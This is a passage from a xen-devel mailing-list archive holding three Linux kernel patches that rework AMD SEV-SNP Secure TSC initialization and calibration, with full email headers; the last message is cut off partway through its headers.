Message-ID: <20260701193212.749551-6-seanjc@google.com>
Subject: [PATCH v5 05/51] x86/sev: Mark TSC as reliable when configuring
 Secure TSC
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ef75cf/1782934354-FF93225E-91BC0049/0/0
X-purgate-type: clean
X-purgate-size: 1727

Move the code to mark the TSC as reliable from sme_early_init() to
snp_secure_tsc_init().  The only reader of TSC_RELIABLE is the aptly
named check_system_tsc_reliable(), which runs in tsc_init(), i.e.
after snp_secure_tsc_init().

This will allow consolidating the handling of TSC_KNOWN_FREQ and
TSC_RELIABLE when overriding the TSC calibration routine.

Cc: Tom Lendacky <thomas.lendacky@amd.com>
Reviewed-by: Nikunj A Dadhania <nikunj@amd.com>
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/coco/sev/core.c      | 2 ++
 arch/x86/mm/mem_encrypt_amd.c | 3 ---
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
index ecd77d3217f3..ed0ac52a765e 100644
--- a/arch/x86/coco/sev/core.c
+++ b/arch/x86/coco/sev/core.c
@@ -2037,6 +2037,8 @@ void __init snp_secure_tsc_init(void)
 	secrets = (__force struct snp_secrets_page *)mem;
 
 	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
+	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
+
 	rdmsrq(MSR_AMD64_GUEST_TSC_FREQ, tsc_freq_mhz);
 
 	/* Extract the GUEST TSC MHZ from BIT[17:0], rest is reserved space */
diff --git a/arch/x86/mm/mem_encrypt_amd.c b/arch/x86/mm/mem_encrypt_amd.c
index 2f8c32173972..6c3af974c7c2 100644
--- a/arch/x86/mm/mem_encrypt_amd.c
+++ b/arch/x86/mm/mem_encrypt_amd.c
@@ -535,9 +535,6 @@ void __init sme_early_init(void)
 		 */
 		x86_init.resources.dmi_setup = snp_dmi_setup;
 	}
-
-	if (sev_status & MSR_AMD64_SNP_SECURE_TSC)
-		setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
 }
 
 void __init mem_encrypt_free_decrypted_mem(void)
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350370.1607858 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fm-0000Pg-IU; Wed, 01 Jul 2026 19:32:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350370.1607858; Wed, 01 Jul 2026 19:32:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fm-0000Nv-AK; Wed, 01 Jul 2026 19:32:38 +0000
Received: by outflank-mailman (input) for mailman id 1350370;
 Wed, 01 Jul 2026 19:32:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3UWtFagYKCZYI40D926EE6B4.2ECN4D-34L4BB8IJI.N4DFHE942J.EH6@flex--seanjc.bounces.google.com>)
 id 1wf0fk-0008Vj-MH
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fk-004o0g-38
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:36 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3UWtFagYKCZYI40D926EE6B4.2ECN4D-34L4BB8IJI.N4DFHE942J.EH6@flex--seanjc.bounces.google.com>)
 id 6a456b44-2eae-0a2a0a5409dd-0a2a4509ddee-42
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:36 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3UWtFagYKCZYI40D926EE6B4.2ECN4D-34L4BB8IJI.N4DFHE942J.EH6@flex--seanjc.bounces.google.com>)
 id 6a456b52-97e6-0a2a45090019-d155d6cab14e-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:35 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2ca0d4fb061so13562385ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934354; x=1783539154; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=evwxLM71EsC76xUKnJUsM6sZDhf4kmGP6xo/jdNLobw=;
        b=lxUVIHgq8AO7SvMwRCNuRvewFIS2NKjniwRvFBiMfw0yUR0tAHTzcVH1C7PzXzWBXI
         +YK8tgKQmr8tCHCMYtmPWDFpwp0Op673LizsMvi6kXAOROZGlAb54h/NStk8yxuIw0Ca
         noUGaNHSz+vcxkQAZDVTNz/GsYFoVDukSR0Vycg8GjlWimY+meKsFyuHjZiK2JF+QXkG
         S7p6Sygfgqrh1E534KDf11rDel7r8iLHn+yO7MZNxtvyxe+PiwiqOvm2DgQMxGl8hxuW
         x9smr1AAGmtTM64SWNQ3pnv4SrihYzgfz2yc1Mq5gHfcI2U5KXq2QyAnMS039xVUyJ7N
         xGfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934354; x=1783539154;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=evwxLM71EsC76xUKnJUsM6sZDhf4kmGP6xo/jdNLobw=;
        b=hPYRXzSMQTZ0iW8Myo3EIm6UaoXCMqzwJPSDDkhSRQZ3/2Cq+ZN+9KY089shlIdvXx
         tPURrKNtn1OU1ReMlHfl1Z+YfoxbyWofYhWkpw+Q9y/Fx7TY8jdfCDAz6hQ/OrExctoc
         HgE81m7wqyKbc7GiwNxiXAewiRfmaCu+IenlpYlJDXIp5nIYwvWQ62MplWTZL5Oyc54r
         uRiLXW6+nHXlqgFrHb+0rSxHEmO6RKMQFLvGbQlD4IjBY+z8Akq6pkY4GW6nr0T48ZZS
         muXc7XtNa77dScJnJVLXgdfuolpePjF1RZ3f6+Sdzt2Mkd3hHxW20I9BuIpsUjFKpMpE
         ATBQ==
X-Forwarded-Encrypted: i=1; AHgh+Ro1+1VaaBmBh+bPkzfdBrxHVtWnCPwUNtjEUWvMJHIOHHg8ETNAm5ZTYx1QCgo/ubo0HzH8J4OCP7s=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzR+TorBNVTaCe05tRk4CSoTfXmnhUHsyTx3cRkpEHEdFAYxXsw
	7tTSKTQWGpZ/KRxZVSubrv7niTWSFNLNyX3LGyAPE0upT7IE4p4D+21itQGmE7fXH+pT+vvvldR
	gUQEK2g==
X-Received: from plha8.prod.google.com ([2002:a17:902:ecc8:b0:2c6:a75b:2129])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:f8c:b0:2c7:d603:117f
 with SMTP id d9443c01a7336-2ca7e754b82mr34808385ad.26.1782934353608; Wed, 01
 Jul 2026 12:32:33 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:27 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-7-seanjc@google.com>
Subject: [PATCH v5 06/51] x86/sev: Don't override CPU frequency calibration
 for SNP's Secure TSC
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934356-4512E986-3CC5EFD8/0/0
X-purgate-type: clean
X-purgate-size: 1458

Don't override the kernel's CPU frequency calibration routine when
registering SNP's Secure TSC calibration routine.  SNP (the architecture)
provides zero guarantees that the CPU runs at the same frequency as the
TSC.  The justification for clobbering the CPU routine was:

  Since the difference between CPU base and TSC frequency does not apply
  in this case, the same callback is being used.

but that's simply not true.  E.g. if APERF/MPERF is exposed to the VM, then
the CPU frequency absolutely does matter.

While relying on heuristics and/or the untrusted hypervisor to provide the
CPU frequency isn't ideal, it's at least not outright wrong.

Fixes: 73bbf3b0fbba ("x86/tsc: Init the TSC for Secure TSC guests")
Cc: Nikunj A Dadhania <nikunj@amd.com>
Cc: Tom Lendacky <thomas.lendacky@amd.com>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/coco/sev/core.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
index ed0ac52a765e..665de1aea0ee 100644
--- a/arch/x86/coco/sev/core.c
+++ b/arch/x86/coco/sev/core.c
@@ -2046,7 +2046,6 @@ void __init snp_secure_tsc_init(void)
 
 	snp_tsc_freq_khz = SNP_SCALE_TSC_FREQ(tsc_freq_mhz * 1000, secrets->tsc_factor);
 
-	x86_platform.calibrate_cpu = securetsc_get_tsc_khz;
 	x86_platform.calibrate_tsc = securetsc_get_tsc_khz;
 
 	early_memunmap(mem, PAGE_SIZE);
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350372.1607870 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fn-0000l7-Q3; Wed, 01 Jul 2026 19:32:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350372.1607870; Wed, 01 Jul 2026 19:32:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fn-0000kc-Kq; Wed, 01 Jul 2026 19:32:39 +0000
Received: by outflank-mailman (input) for mailman id 1350372;
 Wed, 01 Jul 2026 19:32:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3UmtFagYKCZcJ51EA37FF7C5.3FDO5E-45M5CC9JKJ.O5EGIFA53K.FI7@flex--seanjc.bounces.google.com>)
 id 1wf0fm-0000Ks-1X
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fl-00B3ua-Eq
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:37 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3UmtFagYKCZcJ51EA37FF7C5.3FDO5E-45M5CC9JKJ.O5EGIFA53K.FI7@flex--seanjc.bounces.google.com>)
 id 6a456b3e-5cb7-0a2a0a5109dd-0a2a4506aae4-24
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:37 +0200
Received: from [209.85.215.201] (helo=mail-pg1-f201.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3UmtFagYKCZcJ51EA37FF7C5.3FDO5E-45M5CC9JKJ.O5EGIFA53K.FI7@flex--seanjc.bounces.google.com>)
 id 6a456b53-08de-0a2a45060019-d155d7c9e100-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:37 +0200
Received: by mail-pg1-f201.google.com with SMTP id
 41be03b00d2f7-c96b4f58ddcso763901a12.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934355; x=1783539155; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=IPCn9toL5FYXOHslttK0Lqj/45O4+f3kFotppLV6+ls=;
        b=fKuzCDImPpzNTZoIiyIzudIzmp7PizB2cS8gFCEMti89zInSppOOer90Uaa3SlUzVV
         TRIthsiBEGLm12JGRsIU9nJIW/LfY56kg8MBtOURzSTW90lUkv0Ejcz3ChZsMTSWH6pR
         JI1T+Q4oj/LzZjRh3aW8eh9WXQjYd4OLyeIbB3iVSmA8y3M6Qllwy7WbNhdRlAJt+B94
         P6EQnNVIY550MiHy9Vmd91gMFBh4xiUrCyObX19Lmdqa6KhAPrgX8rdT4esUZT93Y6L6
         VlOK249Sz/OMf0Xa/RmEbO40q9YBKSMnvgCd1+PzUTf3B7vCJtucCwW5Q7kZQUEl/0Fi
         wNbA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934355; x=1783539155;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=IPCn9toL5FYXOHslttK0Lqj/45O4+f3kFotppLV6+ls=;
        b=SOBTWvg56CoQgyRzIhniFsTz4keq1x2/LYn9EvdXsT5IgY5bTnjaWxltYHMovEykAA
         4Dufgv+iYDR/s7ClK3bUndhlw/XwDUfpyCCFTuBwkv8G2cJP0LhuxlWkvQTtCKhe2Lc3
         Fv0aYsM1eQWIKcRDi4VZUuZGBwhhIBKnqEFU68Ox6MjRh+5oN9ybox0KnIZ9n1qQF8Kf
         Ea8QDh3vWRGp93HM+YkNXqJSeBfYhO8v46Z65lFrcdbVq9Tl9OGPWNPDbSj7vwsUWHl0
         imEwysStr+z9mSMWhsxLOuBNEkHyJ7nmKUqEdAkDz4QZTkfRBn6+nexFZwDT/ij7MBmZ
         pmUw==
X-Forwarded-Encrypted: i=1; AFNElJ+heBJCj2AD8Rb7gJ+D+Abu1qjQvyjNrHuV2KKPYMrujOlHU9XrVt6vezUchnyce6veMhhXjFUxMMo=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwVijIU1K4KX+vsX4ayrCN8pb2PkGZTVj4Ej82V2uhMl6akEI9T
	+5Julx7rKgGTlIVu6l4w/18hlutYBnRqCx8JOMmNSNyNhvanJlzTMcmVs6XZeT5/ZHG9lP6OsuD
	XvYvaIg==
X-Received: from pgll126.prod.google.com ([2002:a63:2584:0:b0:c85:1159:ffb2])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6300:6705:b0:3bf:7bf7:7913
 with SMTP id adf61e73a8af0-3bff40c93d7mr2592804637.14.1782934354816; Wed, 01
 Jul 2026 12:32:34 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:28 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-8-seanjc@google.com>
Subject: [PATCH v5 07/51] x86/sev: Move check for SNP Secure TSC support to tsc_early_init()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934357-C5D3D68D-E6CE8521/0/0
X-purgate-type: clean
X-purgate-size: 1587

Move the check on having a Secure TSC to the common tsc_early_init() so
that it's obvious that having a Secure TSC is conditional, and to prepare
for adding TDX to the mix (blindly initializing *both* SNP and TDX TSC
logic looks especially weird).

No functional change intended.

Cc: Tom Lendacky <thomas.lendacky@amd.com>
Reviewed-by: Nikunj A Dadhania <nikunj@amd.com>
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/coco/sev/core.c | 3 ---
 arch/x86/kernel/tsc.c    | 3 ++-
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
index 665de1aea0ee..403dcea86452 100644
--- a/arch/x86/coco/sev/core.c
+++ b/arch/x86/coco/sev/core.c
@@ -2025,9 +2025,6 @@ void __init snp_secure_tsc_init(void)
 	unsigned long tsc_freq_mhz;
 	void *mem;
 
-	if (!cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
-		return;
-
 	mem = early_memremap_encrypted(sev_secrets_pa, PAGE_SIZE);
 	if (!mem) {
 		pr_err("Unable to get TSC_FACTOR: failed to map the SNP secrets page.\n");
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 482cc3a8999a..8f1604ffe986 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -1509,7 +1509,8 @@ void __init tsc_early_init(void)
 	if (is_early_uv_system())
 		return;
 
-	snp_secure_tsc_init();
+	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
+		snp_secure_tsc_init();
 
 	if (!determine_cpu_tsc_frequencies(true))
 		return;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350373.1607880 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fp-00015w-7L; Wed, 01 Jul 2026 19:32:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350373.1607880; Wed, 01 Jul 2026 19:32:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fp-000153-1o; Wed, 01 Jul 2026 19:32:41 +0000
Received: by outflank-mailman (input) for mailman id 1350373;
 Wed, 01 Jul 2026 19:32:39 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3U2tFagYKCZgK62FB48GG8D6.4GEP6F-56N6DDAKLK.P6FHJGB64L.GJ8@flex--seanjc.bounces.google.com>)
 id 1wf0fm-0000VF-Sj
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fm-004o0g-9V
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:38 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3U2tFagYKCZgK62FB48GG8D6.4GEP6F-56N6DDAKLK.P6FHJGB64L.GJ8@flex--seanjc.bounces.google.com>)
 id 6a456b1f-2eae-0a2a0a5409dd-0a2a4502c3a4-20
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:38 +0200
Received: from [209.85.210.202] (helo=mail-pf1-f202.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3U2tFagYKCZgK62FB48GG8D6.4GEP6F-56N6DDAKLK.P6FHJGB64L.GJ8@flex--seanjc.bounces.google.com>)
 id 6a456b54-5a27-0a2a45020019-d155d2caed0c-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:38 +0200
Received: by mail-pf1-f202.google.com with SMTP id
 d2e1a72fcca58-8478e9c4bd2so997146b3a.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934356; x=1783539156; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=02bcXtHfI4JvUWCbZ/FGUqsIhMJvDsaJ6tKyxXO+eMA=;
        b=r89e7hTquq3IsNKcNxsGOucbtQYJTM88FLrRCZYryO9pfn7x/SSJ5VcDpzJgLLJ6dG
         qETHvw5ZGp9fIsh9Dy6YpXVk7lAKBYcSs7N6diHXxulw31DlcbgJtDE5JMwgTGW1b9XW
         YGWBLUDu0Cx8icF1YTxcwNg0QIxA2UJBF55PRfFnKCKLnJOMnRHA2PeaajktUlej2+OP
